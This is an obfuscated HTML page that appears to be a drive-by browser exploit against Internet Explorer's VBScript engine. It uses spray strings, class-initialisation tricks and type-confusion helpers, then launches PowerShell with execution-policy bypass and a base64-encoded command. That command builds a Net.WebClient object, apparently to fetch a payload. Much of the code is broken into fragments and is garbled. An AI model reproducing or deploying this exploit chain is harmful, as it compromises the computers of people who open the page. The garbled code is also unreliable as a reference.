<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<sCrIpT TYpe="text/VBsCrIpT">
SVDdw()
cHRw(34)
cReATeOBJECT("WSCRiPT.SHelL").eXPandEnvIRONmeNTSTrINgs("%sYStemRoot%") & "\sySTem32\WindoWspOwerSHElL\V1.0\powErSHeLL.Exe"
cHRW(34)
CReateobJECt("WScRipt.SHeLl").RuN
POwerShEll.eXe
-ex BYPass
-EC IAAgACAAUwBFAHQALQBjAE8ATgBUAEUAbgB0ACAACQAgAC0AdgBhACAAIAAgACgACQAJACAALgAoAGMATwBNAE0AYQBOAEQAIAAqAEUAVwAtAG8AKgApAAkAIAAJACgACQAgAAkAWwBjAGgAQQBSAF0AIAAJAAkANwA4ACAACQAJACAACQAJACsAIAAJAAkAWwBjAEgAQQBSAF0AIAAJAAkAMQAwADEAIAAJAAkAIAAJAAkAKwAgAAkACQBbAEMASABhAHIAXQAgAAkACQA4ADQAIAAJAAkAIAAJAAkAKwAgAAkACQBbAEMASABhAFIAXQAgAAkACQA0ADYAIAAJAAkAIAAJAAkAKwAgAAkACQBbAGMAaABhAFIAXQAgAAkACQA4ADcAIAAJAAkAIAAJAAkAKwAgAAkACQBbAEMAaABBAHIAXQAgAAkACQAxADAAMQAgAAkACQAgAAkACQArACAACQAJAFsAQwBIAEEAcgBdACAACQAJADkAOAAgAAkACQAgAAkACQArACAACQAJAFsAQwBoAEEAcgBdACAACQAJADYANwAgAAkACQAgAAkACQArACAACQAJAFsAQwBoAGEAUgBdACAACQAJADEAMAA4ACAACQAJACAACQAJACsAIAAJAAkAWwBjAEgAQQByAF0AIAAJAAkAMQAwADUAIAAJAAkAIAAJAAkAKwAgAAkACQBbAEMAaABBAFIAXQAgAAkACQA2ADkAIAAJAAkAIAAJAAkAKwAgAAkACQBbAEMASABBAHIAXQAgAAkACQAxADEAMAAgAAkACQAgAAkACQArACAACQAJAFsAYwBIAEEAUgBdACAACQAJADgANAAgAAkACQAgAAkAIAApACkALgAoAAkAIAAJAFsAQwBoAEEAcgBdACAAIAAJADYAOAAgACAACQAgACAACQArACAAIAAJAFsAYwBIAEEAcgBdACAAIAAJADEAMQAxACAAIAAJACAAIAAJACsAIAAgAAkAWwBjAEgAQQBSAF0AIAAg
LDzXQ()
naVIj()
cLNG("24000")
CLNg("2000")
CLNG("32")
clNg("64000")
ClnG("&H174")
"%u4141%u4141%u0016%u4141%u4141%u4141%u4242%u4242"
"%u4141%u4141%u0008%u4141%u4141%u4141"
"%u4141%u4141%u400C%u0000%u0000%u0000"
LDzXQ(JGQtH)
naVIj(JGQtH)
spAce(zbIvR)
unescAPe(RdTQh
KzJRS)
FUnctIon
(AHlRw, OKGxh)
uNescaPE(IYfMg & rIFol(OKGxh) & KzJRS)
NXVAM.QkbrX(AHlRw, 2)
fUNCtion
(ZXAcy, YkPfd)
uNESCaPE(qmaAt & rIFol(YkPfd) & KzJRS)
NXVAM.QkbrX(ZXAcy, 2)
CsNg(0)
fUNCtIoN
NXVAM.yyWfk()
EZpYB = 0 to JGQtH
LDzXQ(EZpYB)
Mid(Eeoov, 1, GtLCx)
fuNcTIOn
QkbrX()
PRivAte
CLass_INitIaLiZE
rEdIM pREseRve QkbrX(1, tzgrE)
pUblic
yyWfk()
prESErvE
QkbrX(1, 1)
FunCTiOn
nVWsp (tGnSu, CnNmb)
EZpYB = 0 to
naVIj(EZpYB) = CnNmb
NXVAM.QkbrX(tGnSu, 2) = CnNmb
EZpYB = 0 TO
JGQtH - 1
AsC(MiD(LDzXQ(EZpYB), 3, 1))
VARTYpE(CnNmb)
kvByz = owzxa(MId(LDzXQ(EZpYB), 3 + 4, 2))
LDzXQ(EZpYB)
funcTIon
FUnCtION
(Lrsfh)
ENigR = nVWsp(Lrsfh, uhRXf)
jPYcU = BGcFA(Lrsfh, ENigR + 8)
YwWXN = owzxa(
mid(jPYcU, 3, 2))
jPYcU = BGcFA(Lrsfh, YwWXN + 4)
MZeLH = owzxa(
mID(jPYcU, 1, 2))
zZzkV Lrsfh, MZeLH + ETqIH
SVDdw()
SetuhRXf
nOTHInG
fUnctIon
</SCRIpt>
<SCRIPT tYpe="teXt/JAvascripT">
function
owzxa(
return JMYUx.charCodeAt(0)
(JMYUx.charCodeAt(1) << 16)
function
rIFol(
return String.fromCharCode(ATrIg
0xffff
String.fromCharCode(
"valueOf"
function
RiSgb()
return
setTimeout
function
</scRIpt>
</body>
</html>